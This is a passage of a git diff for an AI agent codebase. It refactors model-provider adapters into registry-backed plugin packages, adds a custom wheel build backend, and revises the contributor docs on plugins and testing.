diff --git a/.gitignore b/.gitignore index 8bbe7235ee9..6022a947b3c 100644 --- a/.gitignore +++ b/.gitignore @@ -41,7 +41,7 @@ agent-browser/ privvy* images/ __pycache__/ -hermes_agent.egg-info/ +*.egg-info wandb/ testlogs diff --git a/AGENTS.md b/AGENTS.md index dd45310ca86..71c62a3834b 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -29,7 +29,9 @@ hermes-agent/ ├── hermes_constants.py # get_hermes_home(), display_hermes_home() — profile-aware paths ├── hermes_logging.py # setup_logging() — agent.log / errors.log / gateway.log (profile-aware) ├── batch_runner.py # Parallel batch processing +├── _build_backend.py # Custom PEP 517 build backend — inlines plugin deps at wheel build time ├── agent/ # Agent internals (provider adapters, memory, caching, compression, etc.) +│ └── plugin_registries.py # Typed capability registries (auth, transport, platform, tool, model_metadata) ├── hermes_cli/ # CLI subcommands, setup wizard, plugins loader, skin engine ├── tools/ # Tool implementations — auto-discovered via tools/registry.py │ └── environments/ # Terminal backends (local, docker, ssh, modal, daytona, singularity) @@ -39,16 +41,20 @@ hermes-agent/ │ │ # dingtalk, wecom, weixin, feishu, qqbot, bluebubbles, │ │ # yuanbao, webhook, api_server, ...). See ADDING_A_PLATFORM.md. │ └── builtin_hooks/ # Extension point for always-registered gateway hooks (none shipped) -├── plugins/ # Plugin system (see "Plugins" section below) +├── plugins/ # Plugin packages — uv workspace members (see "Plugins" section) +│ ├── model-providers/ # anthropic, bedrock, azure-foundry (own pyproject.toml each) +│ ├── platforms/ # telegram, slack, discord, feishu, dingtalk, matrix +│ ├── tts/ # Text-to-speech plugin +│ ├── stt/ # Speech-to-text plugin +│ ├── image_gen/ # FAL image generation +│ ├── terminals/ # daytona, modal, vercel +│ ├── web/ # exa, firecrawl, parallel │ ├── memory/ # Memory-provider plugins (honcho, mem0, supermemory, ...) │ ├── context_engine/ # Context-engine plugins -│ ├── model-providers/ # Inference backend plugins (openrouter, anthropic, gmi, ...) │ ├── kanban/ # Multi-agent board dispatcher + worker plugin │ ├── hermes-achievements/ # Gamified achievement tracking │ ├── observability/ # Metrics / traces / logs plugin -│ ├── image_gen/ # Image-generation providers -│ └── / # disk-cleanup, example-dashboard, google_meet, platforms, -│ # spotify, strike-freedom-cockpit, ... +│ └── / # dashboard, google_meet, spotify, strike-freedom-cockpit, ... ├── optional-skills/ # Heavier/niche skills shipped but NOT active by default ├── skills/ # Built-in skills bundled with the repo ├── ui-tui/ # Ink (React) terminal UI — `hermes --tui` @@ -486,9 +492,102 @@ Activate with `/skin cyberpunk` or `display.skin: cyberpunk` in config.yaml. ## Plugins -Hermes has two plugin surfaces. Both live under `plugins/` in the repo so -repo-shipped plugins can be discovered alongside user-installed ones in -`~/.hermes/plugins/` and pip-installed entry points. +Hermes uses a **plugin-first architecture**: every optional capability (model +providers, platform adapters, TTS/STT, terminal backends, image generation) +lives in its own installable Python package under `plugins/`. The core +codebase (`agent/`, `hermes_cli/`, `gateway/`, `tools/`) **never** imports +from a `hermes_agent_*` plugin package directly. Instead, plugins register +their capabilities into typed registries during `register()`, and the core +queries those registries at runtime. + +Full architecture doc: `website/docs/developer-guide/plugin-architecture.md` + +### Workspace layout + +All 21 builtin plugins are uv workspace members — each has its own +`pyproject.toml` (single source of truth for deps), `plugin.yaml` +(directory-scanner manifest for dev mode), and `hermes_agent_/` package +with `register(ctx)`: + +``` +plugins/ +├── model-providers/ # anthropic, bedrock, azure-foundry +├── platforms/ # telegram, slack, discord, feishu, dingtalk, matrix +├── tts/ # text-to-speech (Edge TTS + ElevenLabs) +├── stt/ # speech-to-text +├── image_gen/fal_pkg/ # FAL image generation +├── terminals/ # daytona, modal, vercel +├── web/ # exa, firecrawl, parallel +├── memory/ # honcho, hindsight +├── dashboard/ # streamlit dashboard +└── hermes-achievements/ # gamified achievement tracking +``` + +### The hermetic core boundary + +Core code MUST NOT import from `hermes_agent_*` packages. Instead it queries +typed registries in `agent/plugin_registries.py`: + +```python +# ❌ BAD — core directly imports plugin +from hermes_agent_bedrock import has_aws_credentials + +# ✅ GOOD — core queries the registry +from agent.plugin_registries import registries +bedrock_auth = registries.get_auth_provider("bedrock") +``` + +Registry types: `auth_providers`, `transport_builders`, `platform_adapters`, +`tool_providers`, `model_metadata`, `credential_pools`. + +Each plugin's `register(ctx)` populates the registries via `ctx.register_*()`: +- `ctx.register_auth_provider(name, provider, ...)` +- `ctx.register_transport(name, builder, ...)` +- `ctx.register_platform(name, label, adapter_factory, check_fn, ...)` +- `ctx.register_tool_provider(entry, ...)` +- `ctx.register_model_metadata(entry, ...)` +- `ctx.register_credential_pool(entry, ...)` +- Plus existing: `register_tool()`, `register_hook()`, `register_cli_command()`, + `register_tts_provider()`, `register_transcription_provider()`, + `register_image_gen_provider()`, `register_video_gen_provider()`, + `register_context_engine()` + +### Plugin discovery + +Three discovery paths (same as before, now workspace-aware): +1. **Directory scanner** — `plugins/`, `~/.hermes/plugins/`, `.hermes/plugins/` + (looks for `plugin.yaml`) +2. **Entry points** — `[project.entry-points."hermes_agent.plugins"]` +3. **uv workspace** — `uv sync --extra ` installs the plugin into venv + +### Dependency management + +- Each plugin's `pyproject.toml` is the **only** place its deps are declared +- Root `pyproject.toml` maps extras to workspace members: + `telegram = ["hermes-agent-telegram"]` +- `uv.lock` resolves the whole workspace (236 packages) +- No `LAZY_DEPS`, no `ensure()`, no runtime `pip install` +- Custom PEP 517 build backend (`_build_backend.py`) inlines plugin deps + at wheel build time for PyPI publishing + +### NixOS + +`loadWorkspace` discovers all workspace members from `uv.lock` automatically. +`mkVirtualEnv { hermes-agent = ["all"] }` installs all plugins. Select specific +plugins with `extraDependencyGroups = ["telegram", "anthropic"]`. + +### Tests + +Plugin tests live in `plugins///tests/`. The test runner +discovers both `tests/` and `plugins/`. Running plugin tests requires the +plugin to be installed (`uv sync --extra `). + +### The rule + +**If it can be a plugin, it must be a plugin.** Adding optional capabilities +to core files is a code review rejection. If the plugin surface doesn't +support what you need, extend the surface (new registry type, new hook, new +`ctx` method) — don't inline the capability. ### General plugins (`hermes_cli/plugins.py` + `plugins//`) @@ -531,9 +630,14 @@ providers don't clutter `hermes --help`. **Rule (Teknium, May 2026):** plugins MUST NOT modify core files (`run_agent.py`, `cli.py`, `gateway/run.py`, `hermes_cli/main.py`, etc.). If a plugin needs a capability the framework doesn't expose, expand the -generic plugin surface (new hook, new ctx method) — never hardcode -plugin-specific logic into core. PR #5295 removed 95 lines of hardcoded -honcho argparse from `main.py` for exactly this reason. +generic plugin surface (new hook, new ctx method, new registry type) — never +hardcode plugin-specific logic into core. PR #5295 removed 95 lines of +hardcoded honcho argparse from `main.py` for exactly this reason. + +**Hermetic core boundary (May 2026):** core code (`agent/`, `hermes_cli/`, +`gateway/`, `tools/`) MUST NOT import from `hermes_agent_*` plugin packages. +Use the typed registries in `agent/plugin_registries.py` instead. See the +**Plugins** section below for the full list of registry types. **No new in-tree memory providers (policy, May 2026):** the set of built-in memory providers under `plugins/memory/` is closed. New memory @@ -1011,40 +1115,41 @@ def profile_env(tmp_path, monkeypatch): ## Testing -**ALWAYS use `scripts/run_tests.sh`** — do not call `pytest` directly. The script enforces -hermetic environment parity with CI (unset credential vars, TZ=UTC, LANG=C.UTF-8, -`-n auto` xdist workers, in-tree subprocess-isolation plugin). Direct `pytest` -on a 16+ core developer machine with API keys set diverges from CI in ways -that have caused multiple "works locally, fails in CI" incidents (and the reverse). +**ALWAYS use `scripts/run_tests.sh`** — do NOT call `pytest` directly on a directory. +The script enforces hermetic environment parity with CI and provides per-file +process isolation that prevents registry singleton / module-level state leakage +between test files. ```bash scripts/run_tests.sh # full suite, CI-parity scripts/run_tests.sh tests/gateway/ # one directory +scripts/run_tests.sh tests/agent/test_foo.py # one file scripts/run_tests.sh tests/agent/test_foo.py::test_x # one test scripts/run_tests.sh -v --tb=long # pass-through pytest flags -scripts/run_tests.sh --no-isolate tests/foo/ # disable subprocess isolation (faster, for debugging) ``` -### Subprocess-per-test isolation +For a **single test file or specific test**, bare `pytest` is fine: -Every test runs in a freshly-spawned Python subprocess via the in-tree plugin -at `tests/_isolate_plugin.py`. This means module-level dicts/sets and -ContextVars from one test cannot leak into the next — the historic -`_reset_module_state` autouse fixture is gone. +```bash +nix run nixpkgs#uv -- run python -m pytest tests/agent/test_foo.py -q +nix run nixpkgs#uv -- run python -m pytest tests/agent/test_foo.py::test_x --tb=short +``` -Implementation notes: +Running bare `pytest` on a directory (e.g. `pytest tests/`) will print a warning +from `conftest.py` telling you to use the script instead. -- The plugin uses `multiprocessing.get_context("spawn")`, which works on - Linux, macOS, and Windows alike (POSIX `fork` is not used). -- Per-test overhead is ~0.5–1.0s (Python startup + pytest collection). xdist - parallelism amortizes this across cores; on a 20-core box the full suite - finishes in roughly the same wall time as before, but flake-free. -- `isolate_timeout` (configured in `pyproject.toml`) caps each test at 30s. - Hangs are killed and surfaced as a failure report. -- Pass `--no-isolate` to disable isolation — useful when debugging a single - test interactively, or when you specifically want to verify state leakage. -- The plugin disables itself in child processes (sentinel envvar - `HERMES_ISOLATE_CHILD=1`), so there's no fork-bomb risk. +### Per-file process isolation + +`scripts/run_tests.sh` calls `scripts/run_tests_parallel.py`, which spawns one +`python -m pytest ` subprocess per test **file** (not per test), giving each +a fresh Python interpreter. This means module-level dicts/sets, ContextVars, and +registry singletons from one test file cannot leak into another — no shared state +between files, no xdist required. + +`HERMES_PARALLEL_RUNNER=1` is set in each subprocess so `conftest.py` knows tests +are running under the managed runner. If you need to suppress the bare-pytest +directory warning in a special case, set this variable yourself — but prefer the +script. ### Why the wrapper (and why the old "just call pytest" doesn't work) @@ -1056,31 +1161,13 @@ Five real sources of local-vs-CI drift the script closes: | HOME / `~/.hermes/` | Your real config+auth.json | Temp dir per test | | Timezone | Local TZ (PDT etc.) | UTC | | Locale | Whatever is set | C.UTF-8 | -| xdist workers | `-n auto` = all cores | `-n auto` (safe — subprocess isolation prevents cross-worker flakes) | +| File isolation | Shared interpreter — state leaks between files | One subprocess per file | -`tests/conftest.py` also enforces points 1-4 as an autouse fixture so ANY pytest -invocation (including IDE integrations) gets hermetic behavior — but the wrapper -is belt-and-suspenders. +`tests/conftest.py` also enforces the credential/TZ/locale points as an autouse +fixture so ANY pytest invocation (including IDE integrations) gets hermetic +behavior — but the wrapper adds per-file process isolation on top. -### Running without the wrapper (only if you must) - -If you can't use the wrapper (e.g. inside an IDE that shells pytest directly), -at minimum activate the venv. The isolation plugin loads automatically from -`addopts` in `pyproject.toml`, so you get the same per-test process isolation -either way. - -```bash -source .venv/bin/activate # or: source venv/bin/activate -python -m pytest tests/ -q -``` - -If you need to bypass isolation for fast feedback while debugging: - -```bash -python -m pytest tests/agent/test_foo.py -q --no-isolate -``` - -Always run the full suite before pushing changes. +Always run the full suite via `scripts/run_tests.sh` before pushing changes. ### Don't write change-detector tests diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 5b1ae34aa07..ab5de7078ef 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -121,12 +121,11 @@ hermes chat -q "Hello" ### Run tests ```bash -# Preferred — matches CI (hermetic env, 4 xdist workers); see AGENTS.md +# Preferred — matches CI (hermetic env, per-file process isolation); see AGENTS.md scripts/run_tests.sh -# Alternative (activate the venv first). The wrapper is still recommended -# for parity with GitHub Actions before you open a PR: -pytest tests/ -v +# For a single file or specific test, bare pytest is also fine: +# python -m pytest tests/agent/test_foo.py -q ``` --- @@ -857,7 +856,7 @@ refactor/description # Code restructuring ### Before submitting -1. **Run tests**: `scripts/run_tests.sh` (recommended; same as CI) or `pytest tests/ -v` with the project venv activated +1. **Run tests**: `scripts/run_tests.sh` (recommended; same as CI — hermetic env + per-file process isolation) 2. **Test manually**: Run `hermes` and exercise the code path you changed 3. **Check cross-platform impact**: If you touch file I/O, process management, or terminal handling, consider macOS, Linux, and WSL2 4. **Keep PRs focused**: One logical change per PR. Don't mix a bug fix with a refactor with a new feature. diff --git a/README.zh-CN.md b/README.zh-CN.md index e2228234ce6..bd1941596d0 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -179,7 +179,7 @@ curl -LsSf https://astral.sh/uv/install.sh | sh uv venv venv --python 3.11 source venv/bin/activate uv pip install -e ".[all,dev]" -python -m pytest tests/ -q +scripts/run_tests.sh ``` --- diff --git a/_build_backend.py b/_build_backend.py new file mode 100644 index 00000000000..e4d7f8ff23c --- /dev/null +++ b/_build_backend.py @@ -0,0 +1,183 @@ +"""Custom PEP 517 build backend for hermes-agent. + +At wheel build time, rewrites [project.optional-dependencies] so that +plugin extras (e.g. ``anthropic = ["hermes-agent-anthropic"]``) are +inlined with the actual deps from each plugin's pyproject.toml. + +In the source repo (and on Nix), uv resolves workspace members natively +so this backend is NOT used — it's only invoked when building a wheel +for PyPI publication. + +Usage in pyproject.toml:: + + [build-system] + requires = ["setuptools>=61.0"] + build-backend = "_build_backend" + backend-path = ["."] + +How it works: +1. ``build_wheel`` intercepts the call before setuptools sees pyproject.toml. +2. It reads the workspace member dirs from [tool.uv.workspace].members. +3. For each member, it reads the member's pyproject.toml and extracts + ``project.dependencies`` (excluding the ``hermes-agent`` base dep). +4. It rewrites the main pyproject.toml's optional-dependencies to inline + those deps instead of the workspace member references. +5. It writes a temporary pyproject.toml, delegates to + ``setuptools.build_meta.build_wheel``, then restores the original. +""" + +from __future__ import annotations + +import os +import shutil +import tempfile +from pathlib import Path +from typing import Any + +import tomllib + +# The original setuptools backend we delegate to. +_BACKEND = "setuptools.build_meta" + + +def _load_pyproject(path: Path) -> dict: + with path.open("rb") as f: + return tomllib.load(f) + + +def _save_pyproject(path: Path, data: dict) -> None: + """Write a pyproject.toml. Uses a simple serializer since we only + need to preserve the structure enough for setuptools to parse.""" + import tomli_w + with path.open("wb") as f: + tomli_w.dump(data, f) + + +def _inline_plugin_deps(root: Path, data: dict) -> dict: + """Rewrite optional-dependencies to inline plugin deps. + + Maps each plugin extra (e.g. ``anthropic = ["hermes-agent-anthropic"]``) + to the actual deps from that plugin's pyproject.toml, minus the + ``hermes-agent`` base dependency. + """ + opt_deps = data.get("project", {}).get("optional-dependencies", {}) + workspace = data.get("tool", {}).get("uv", {}).get("workspace", {}) + members = workspace.get("members", []) + + # Build a map: package name → (member_dir, pyproject_data) + pkg_to_deps: dict[str, list[str]] = {} + for member_glob in members: + for member_dir in sorted(root.glob(member_glob)): + pptoml = member_dir / "pyproject.toml" + if not pptoml.exists(): + continue + member_data = _load_pyproject(pptoml) + pkg_name = member_data.get("project", {}).get("name", "") + if not pkg_name: + continue + # Extract deps, excluding the base hermes-agent dependency + raw_deps = member_data.get("project", {}).get("dependencies", []) + filtered = [ + d for d in raw_deps + if not d.replace(" ", "").startswith("hermes-agent") + ] + pkg_to_deps[pkg_name] = filtered + + # Rewrite optional-dependencies + new_opt_deps = {} + for extra_name, specs in opt_deps.items(): + new_specs = [] + for spec in specs: + # Check if this spec references a workspace member package + if spec in pkg_to_deps: + # Inline the plugin's deps + new_specs.extend(pkg_to_deps[spec]) + else: + new_specs.append(spec) + new_opt_deps[extra_name] = new_specs + + data["project"]["optional-dependencies"] = new_opt_deps + + # Remove [tool.uv] section — it's not valid in a published wheel + if "uv" in data.get("tool", {}): + del data["tool"]["uv"] + + return data + + +# --------------------------------------------------------------------------- +# PEP 517 hooks +# --------------------------------------------------------------------------- + +def build_wheel(wheel_directory: str, config_settings: dict[str, Any] | None = None, metadata_directory: str | None = None) -> str: + """Build a wheel with inlined plugin deps.""" + root = Path.cwd() + pyproject_path = root / "pyproject.toml" + + # Read and rewrite + data = _load_pyproject(pyproject_path) + data = _inline_plugin_deps(root, data) + + # Write a temporary pyproject.toml, build, then restore + backup = pyproject_path.with_suffix(".toml.bak") + shutil.copy2(pyproject_path, backup) + try: + _save_pyproject(pyproject_path, data) + + # Delegate to setuptools + import importlib + backend = importlib.import_module(_BACKEND) + return backend.build_wheel(wheel_directory, config_settings) + finally: + shutil.copy2(backup, pyproject_path) + backup.unlink() + + +def build_sdist(sdist_directory: str, config_settings: dict[str, Any] | None = None) -> str: + """Build an sdist — no rewriting needed.""" + import importlib + backend = importlib.import_module(_BACKEND) + return backend.build_sdist(sdist_directory, config_settings) + + +def get_requires_for_build_wheel(config_settings: dict[str, Any] | None = None) -> list[str]: + return ["setuptools>=61.0", "tomli_w"] + + +def get_requires_for_build_sdist(config_settings: dict[str, Any] | None = None) -> list[str]: + return ["setuptools>=61.0"] + + +def prepare_metadata_for_build_wheel(metadata_directory: str, config_settings: dict[str, Any] | None = None) -> str: + """Prepare metadata with inlined plugin deps.""" + root = Path.cwd() + pyproject_path = root / "pyproject.toml" + + data = _load_pyproject(pyproject_path) + data = _inline_plugin_deps(root, data) + + backup = pyproject_path.with_suffix(".toml.bak") + shutil.copy2(pyproject_path, backup) + try: + _save_pyproject(pyproject_path, data) + + import importlib + backend = importlib.import_module(_BACKEND) + return backend.prepare_metadata_for_build_wheel(metadata_directory, config_settings) + finally: + shutil.copy2(backup, pyproject_path) + backup.unlink() + + +def build_editable(wheel_directory: str, config_settings: dict[str, Any] | None = None, metadata_directory: str | None = None) -> str: + """Build an editable install — no rewriting needed (dev mode).""" + import importlib + backend = importlib.import_module(_BACKEND) + kwargs: dict[str, Any] = {"config_settings": config_settings} + if metadata_directory is not None: + kwargs["metadata_directory"] = metadata_directory + return backend.build_editable(wheel_directory, **kwargs) + + +def get_requires_for_build_editable(config_settings: dict[str, Any] | None = None) -> list[str]: + return ["setuptools>=61.0"] diff --git a/agent/account_usage.py b/agent/account_usage.py index be03646021e..8fbcacfe8b6 100644 --- a/agent/account_usage.py +++ b/agent/account_usage.py @@ -6,7 +6,9 @@ from typing import Any, Optional import httpx -from agent.anthropic_adapter import _is_oauth_token, resolve_anthropic_token +from agent.plugin_registries import registries +_is_oauth_token = registries.get_provider_service("anthropic", "_is_oauth_token") +resolve_anthropic_token = registries.get_provider_service("anthropic", "resolve_anthropic_token") from hermes_cli.auth import _read_codex_tokens, resolve_codex_runtime_credentials from hermes_cli.runtime_provider import resolve_runtime_provider @@ -176,7 +178,7 @@ def _fetch_anthropic_account_usage() -> Optional[AccountUsageSnapshot]: token = (resolve_anthropic_token() or "").strip() if not token: return None - if not _is_oauth_token(token): + if _is_oauth_token is not None and not _is_oauth_token(token): return AccountUsageSnapshot( provider="anthropic", source="oauth_usage_api", diff --git a/agent/agent_init.py b/agent/agent_init.py index e20755c5091..5c37de3ea62 100644 --- a/agent/agent_init.py +++ b/agent/agent_init.py @@ -583,12 +583,14 @@ def init_agent( _provider_timeout = get_provider_request_timeout(agent.provider, agent.model) if agent.api_mode == "anthropic_messages": - from agent.anthropic_adapter import build_anthropic_client, resolve_anthropic_token + from agent.plugin_registries import registries + build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client") + resolve_anthropic_token = registries.get_provider_service("anthropic", "resolve_anthropic_token") # Bedrock + Claude → use AnthropicBedrock SDK for full feature parity # (prompt caching, thinking budgets, adaptive thinking). _is_bedrock_anthropic = agent.provider == "bedrock" if _is_bedrock_anthropic: - from agent.anthropic_adapter import build_anthropic_bedrock_client + build_anthropic_bedrock_client = registries.get_provider_service("anthropic", "build_anthropic_bedrock_client") _region_match = re.search(r"bedrock-runtime\.([a-z0-9-]+)\.", base_url or "") _br_region = _region_match.group(1) if _region_match else "us-east-1" agent._bedrock_region = _br_region @@ -642,8 +644,8 @@ def init_agent( # so injects Claude-Code identity headers and system prompts # that cause 401/403 on their endpoints. Guards #1739 and # the third-party identity-injection bug. - from agent.anthropic_adapter import _is_oauth_token as _is_oat - agent._is_anthropic_oauth = _is_oat(effective_key) if (_is_native_anthropic and isinstance(effective_key, str)) else False + _is_oauth_token = registries.get_provider_service("anthropic", "_is_oauth_token") + agent._is_anthropic_oauth = _is_oauth_token(effective_key) if (_is_oauth_token is not None and _is_native_anthropic and isinstance(effective_key, str)) else False agent._anthropic_client = build_anthropic_client(effective_key, base_url, timeout=_provider_timeout) # No OpenAI client needed for Anthropic mode agent.client = None @@ -655,9 +657,10 @@ def init_agent( # The Anthropic adapter installs an httpx event hook # that mints a fresh JWT per request — we never # invoke or inspect the callable in the banner. - from agent.azure_identity_adapter import is_token_provider + from agent.plugin_registries import registries + is_token_provider = registries.get_provider_service("azure", "is_token_provider") - if is_token_provider(effective_key): + if is_token_provider and is_token_provider(effective_key): print("🔑 Using credentials: Microsoft Entra ID") elif isinstance(effective_key, str) and len(effective_key) > 12: print(f"🔑 Using token: {effective_key[:8]}...{effective_key[-4:]}") @@ -867,10 +870,11 @@ def init_agent( # provider (Azure Foundry). The OpenAI SDK mints a # fresh JWT per request internally — the banner # never invokes or inspects the callable. - from agent.azure_identity_adapter import is_token_provider + from agent.plugin_registries import registries + is_token_provider = registries.get_provider_service("azure", "is_token_provider") key_used = client_kwargs.get("api_key", "none") - if is_token_provider(key_used): + if is_token_provider and is_token_provider(key_used): print("🔑 Using credentials: Microsoft Entra ID") elif isinstance(key_used, str) and key_used and key_used != "dummy-key" and len(key_used) > 12: print(f"🔑 Using API key: {key_used[:8]}...{key_used[-4:]}") diff --git a/agent/agent_runtime_helpers.py b/agent/agent_runtime_helpers.py index f0fbd0aa8c1..db32fe1893a 100644 --- a/agent/agent_runtime_helpers.py +++ b/agent/agent_runtime_helpers.py @@ -748,7 +748,8 @@ def try_recover_primary_transport( agent.api_key = rt["api_key"] if agent.api_mode == "anthropic_messages": - from agent.anthropic_adapter import build_anthropic_client + from agent.plugin_registries import registries + build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client") agent._anthropic_api_key = rt["anthropic_api_key"] agent._anthropic_base_url = rt["anthropic_base_url"] agent._anthropic_client = build_anthropic_client( @@ -912,7 +913,8 @@ def restore_primary_runtime(agent) -> bool: # ── Rebuild client for the primary provider ── if agent.api_mode == "anthropic_messages": - from agent.anthropic_adapter import build_anthropic_client + from agent.plugin_registries import registries + build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client") agent._anthropic_api_key = rt["anthropic_api_key"] agent._anthropic_base_url = rt["anthropic_base_url"] agent._anthropic_client = build_anthropic_client( @@ -1385,11 +1387,10 @@ def switch_model(agent, new_model, new_provider, api_key='', base_url='', api_mo # ── Build new client ── if api_mode == "anthropic_messages": - from agent.anthropic_adapter import ( - build_anthropic_client, - resolve_anthropic_token, - _is_oauth_token, - ) + from agent.plugin_registries import registries + build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client") + resolve_anthropic_token = registries.get_provider_service("anthropic", "resolve_anthropic_token") + _is_oauth_token = registries.get_provider_service("anthropic", "_is_oauth_token") # Only fall back to ANTHROPIC_TOKEN when the provider is actually Anthropic. # Other anthropic_messages providers (MiniMax, Alibaba, etc.) must use their own # API key — falling back would send Anthropic credentials to third-party endpoints. @@ -1418,7 +1419,7 @@ def switch_model(agent, new_model, new_provider, api_key='', base_url='', api_mo effective_key, agent._anthropic_base_url, timeout=get_provider_request_timeout(agent.provider, agent.model), ) - agent._is_anthropic_oauth = _is_oauth_token(effective_key) if (_is_native_anthropic and isinstance(effective_key, str)) else False + agent._is_anthropic_oauth = _is_oauth_token(effective_key) if (_is_oauth_token is not None and _is_native_anthropic and isinstance(effective_key, str)) else False agent.client = None agent._client_kwargs = {} else: diff --git a/agent/auxiliary_client.py b/agent/auxiliary_client.py index e6d42dd2165..4e60ba8a5f0 100644 --- a/agent/auxiliary_client.py +++ b/agent/auxiliary_client.py @@ -971,7 +971,8 @@ class _AnthropicCompletionsAdapter: self._is_oauth = is_oauth def create(self, **kwargs) -> Any: - from agent.anthropic_adapter import build_anthropic_kwargs + from agent.plugin_registries import registries + build_anthropic_kwargs = registries.get_provider_service("anthropic", "build_anthropic_kwargs") from agent.transports import get_transport messages = kwargs.get("messages", []) @@ -1011,8 +1012,8 @@ class _AnthropicCompletionsAdapter: # temperature for models that still accept it. build_anthropic_kwargs # additionally strips these keys as a safety net — keep both layers. if temperature is not None: - from agent.anthropic_adapter import _forbids_sampling_params - if not _forbids_sampling_params(model): + _forbids_sampling_params = registries.get_provider_service("anthropic", "_forbids_sampling_params") + if _forbids_sampling_params is None or not _forbids_sampling_params(model): anthropic_kwargs["temperature"] = temperature response = self._client.messages.create(**anthropic_kwargs) @@ -1182,7 +1183,8 @@ def _maybe_wrap_anthropic( return client_obj try: - from agent.anthropic_adapter import build_anthropic_client + from agent.plugin_registries import registries + build_anthropic_client = registries.get_provider_service("anthropic", "build_anthropic_client") except ImportError: logger.warning( "Endpoint %s speaks Anthropic Messages but the anthropic SDK is " @@ -1824,7 +1826,11 @@ def _try_custom_endpoint() -> Tuple[Optional[Any], Optional[str]]: # LiteLLM proxies, etc.). Must NEVER be treated as OAuth — # Anthropic OAuth claims only apply to api.anthropic.com. try: - from agent.anthropic_adapter import build_anthropic_client + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + build_anthropic_client = _anthropic.get("build_anthropic_client") + if build_anthropic_client is None: + raise ImportError("anthropic provider not registered") real_client = build_anthropic_client(custom_key, custom_base) except ImportError: logger.warning( @@ -2027,10 +2033,28 @@ def _try_azure_foundry( def _try_anthropic(explicit_api_key: str = None) -> Tuple[Optional[Any], Optional[str]]: - try: - from agent.anthropic_adapter import build_anthropic_client, resolve_anthropic_token - except ImportError: - return None, None + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + build_anthropic_client = _anthropic.get("build_anthropic_client") + resolve_anthropic_token = _anthropic.get("resolve_anthropic_token") + if build_anthropic_client is None or resolve_anthropic_token is None: + # Registry empty (e.g. unit tests without plugin loading) — use module directly + # so that mock.patch("hermes_agent_anthropic.adapter.X") still intercepts calls. + try: + import hermes_agent_anthropic.adapter as _ant_mod # type: ignore[import] + + class _ModuleNamespace: + """Proxy that delegates .get() to module attribute lookup (live, patchable).""" + def get(self, name: str, default=None): + return getattr(_ant_mod, name, default) + + _anthropic = _ModuleNamespace() + build_anthropic_client = _anthropic.get("build_anthropic_client") + resolve_anthropic_token = _anthropic.get("resolve_anthropic_token") + if build_anthropic_client is None or resolve_anthropic_token is None: + return None, None + except ImportError: + return None, None pool_present, entry = _select_pool_entry("anthropic") if pool_present: @@ -2060,8 +2084,8 @@ def _try_anthropic(explicit_api_key: str = None) -> Tuple[Optional[Any], Optiona except Exception: pass - from agent.anthropic_adapter import _is_oauth_token - is_oauth = _is_oauth_token(token) + _is_oauth_token = _anthropic.get("_is_oauth_token") + is_oauth = _is_oauth_token(token) if _is_oauth_token else False model = _get_aux_model_for_provider("anthropic") or "claude-haiku-4-5-20251001" logger.debug("Auxiliary client: Anthropic native (%s) at %s (oauth=%s)", model, base_url, is_oauth) try: @@ -2715,12 +2739,19 @@ def _refresh_provider_credentials(provider: str) -> bool: _evict_cached_clients(normalized) return True if normalized == "anthropic": - from agent.anthropic_adapter import read_claude_code_credentials, _refresh_oauth_token, resolve_anthropic_token + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + read_claude_code_credentials = _anthropic.get("read_claude_code_credentials") + _refresh_oauth_token = _anthropic.get("_refresh_oauth_token") + resolve_anthropic_token = _anthropic.get("resolve_anthropic_token") + if read_claude_code_credentials is None: + return False creds = read_claude_code_credentials() - token = _refresh_oauth_token(creds) if isinstance(creds, dict) and creds.get("refreshToken") else None + token = _refresh_oauth_token(creds) if isinstance(creds, dict) and creds.get("refreshToken") and _refresh_oauth_token else None if not str(token or "").strip(): - token = resolve_anthropic_token() + if resolve_anthropic_token is not None: + token = resolve_anthropic_token() if not str(token or "").strip(): return False _evict_cached_clients(normalized) @@ -3459,7 +3490,11 @@ def resolve_provider_client( # branch in _try_custom_endpoint(). See #15033. if entry_api_mode == "anthropic_messages": try: - from agent.anthropic_adapter import build_anthropic_client + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + build_anthropic_client = _anthropic.get("build_anthropic_client") + if build_anthropic_client is None: + raise ImportError("anthropic provider not registered") real_client = build_anthropic_client(custom_key, custom_base) except ImportError: logger.warning( @@ -3697,8 +3732,14 @@ def resolve_provider_client( # AWS SDK providers (Bedrock) — use the Anthropic Bedrock client via # boto3's credential chain (IAM roles, SSO, env vars, instance metadata). try: - from agent.bedrock_adapter import has_aws_credentials, resolve_bedrock_region - from agent.anthropic_adapter import build_anthropic_bedrock_client + from agent.plugin_registries import registries + _bedrock = registries.get_provider_namespace("bedrock") + _anthropic = registries.get_provider_namespace("anthropic") + has_aws_credentials = _bedrock.get("has_aws_credentials") + resolve_bedrock_region = _bedrock.get("resolve_bedrock_region") + build_anthropic_bedrock_client = _anthropic.get("build_anthropic_bedrock_client") + if has_aws_credentials is None or resolve_bedrock_region is None or build_anthropic_bedrock_client is None: + raise ImportError("bedrock or anthropic provider not registered") except ImportError: logger.warning("resolve_provider_client: bedrock requested but " "boto3 or anthropic SDK not installed") @@ -4670,8 +4711,10 @@ def _build_call_kwargs( # structured-JSON extraction) don't 400 the moment # the aux model is flipped to 4.7. if temperature is not None: - from agent.anthropic_adapter import _forbids_sampling_params - if _forbids_sampling_params(model): + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + _forbids_sampling_params = _anthropic.get("_forbids_sampling_params") + if _forbids_sampling_params is not None and _forbids_sampling_params(model): temperature = None if temperature is not None: diff --git a/agent/chat_completion_helpers.py b/agent/chat_completion_helpers.py index 8fe6bcd20cb..952bd66ce91 100644 --- a/agent/chat_completion_helpers.py +++ b/agent/chat_completion_helpers.py @@ -217,12 +217,14 @@ def interruptible_api_call(agent, api_kwargs: dict): # normalize_converse_response produces an OpenAI-compatible # SimpleNamespace so the rest of the agent loop can treat # bedrock responses like chat_completions responses. - from agent.bedrock_adapter import ( - 